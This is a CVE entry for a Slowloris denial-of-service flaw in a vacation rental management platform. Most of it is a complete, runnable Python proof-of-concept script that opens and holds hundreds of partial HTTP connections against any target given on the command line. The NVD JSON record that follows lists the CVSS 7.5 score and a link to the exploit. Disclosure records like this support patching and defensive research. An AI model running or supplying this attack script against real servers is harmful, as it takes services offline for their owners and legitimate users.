CVE-2025-63561

#!/usr/bin/env python3 """ CVE-2025-63561 PoC - Slowloris DoS Attack Target: Summer Pearl Group Vacation Rental Management Platform < 1.0.2 """ import socket import time import random import argparse def create_socket_with_options(target_host, target_port, timeout=10): """Create and configure socket connection""" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(timeout) s.connect((target_host, target_port)) return s def slowloris_attack(target_host, target_port, num_connections=200, delay=15): """ Perform Slowloris attack by maintaining partial HTTP connections Args: target_host: Target server hostname or IP target_port: Target HTTP port num_connections: Number of connections to maintain delay: Delay between partial sends in seconds """ sockets = [] print(f"[*] Starting Slowloris attack against {target_host}:{target_port}") print(f"[*] Establishing {num_connections} connections...") # Create initial connections for i in range(num_connections): try: s = create_socket_with_options(target_host, target_port) # Send partial HTTP request (missing final \r\n\r\n) headers = [ f"GET / HTTP/1.1", f"Host: {target_host}", f"User-Agent: Mozilla/4.0", f"Content-Length: {random.randint(1000, 10000)}" ] s.send("\r\n".join(headers).encode() + "\r\n".encode()) sockets.append(s) print(f"[+] Connection {i+1}/{num_connections} established") except Exception as e: print(f"[-] Connection {i+1} failed: {e}") print(f"[*] Maintaining {len(sockets)} connections...") # Keep connections alive by sending partial data try: while True: for s in sockets: try: # Send a partial header line to keep connection alive s.send(b"X-a: b\r\n") print(f"[*] Sent keep-alive to socket") except: sockets.remove(s) # Reconnect to replace lost connection try: new_s = create_socket_with_options(target_host, target_port) new_s.send(f"GET / HTTP/1.1\r\nHost: {target_host}\r\n\r\n".encode()) sockets.append(new_s) except: pass time.sleep(delay) except KeyboardInterrupt: print("\n[*] Attack stopped by user") finally: for s in sockets: s.close() print("[*] All connections closed") if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2025-63561 Slowloris PoC") parser.add_argument("target", help="Target hostname or IP") parser.add_argument("-p", "--port", type=int, default=80, help="Target port (default: 80)") parser.add_argument("-n", "--connections", type=int, default=200, help="Number of connections") parser.add_argument("-d", "--delay", type=int, default=15, help="Delay between sends") args = parser.parse_args() slowloris_attack(args.target, args.port, args.connections, args.delay)

{"cve": {"id": "CVE-2025-63561", "sourceIdentifier": "[email protected]", "published": "2025-10-31T20:15:53.280", "lastModified": "2025-11-05T19:32:00.983", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Summer Pearl Group Vacation Rental Management Platform prior to 1.0.2 is susceptible to a Slowloris-style Denial-of-Service (DoS) condition in the HTTP connection handling layer, where an attacker that opens and maintains many slow or partially-completed HTTP connections can exhaust the server’s connection pool and worker capacity, preventing legitimate users and APIs from accessing the service."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:summerpearlgroup:vacation_rental_management_platform:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.0.2", "matchCriteriaId": "E70289E7-BECA-463B-ABB1-0C46DBDF2057"}]}]}], "references": [{"url": "https://github.com/Stolichnayer/Summer-Pearl-Group-Slowloris-DoS", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}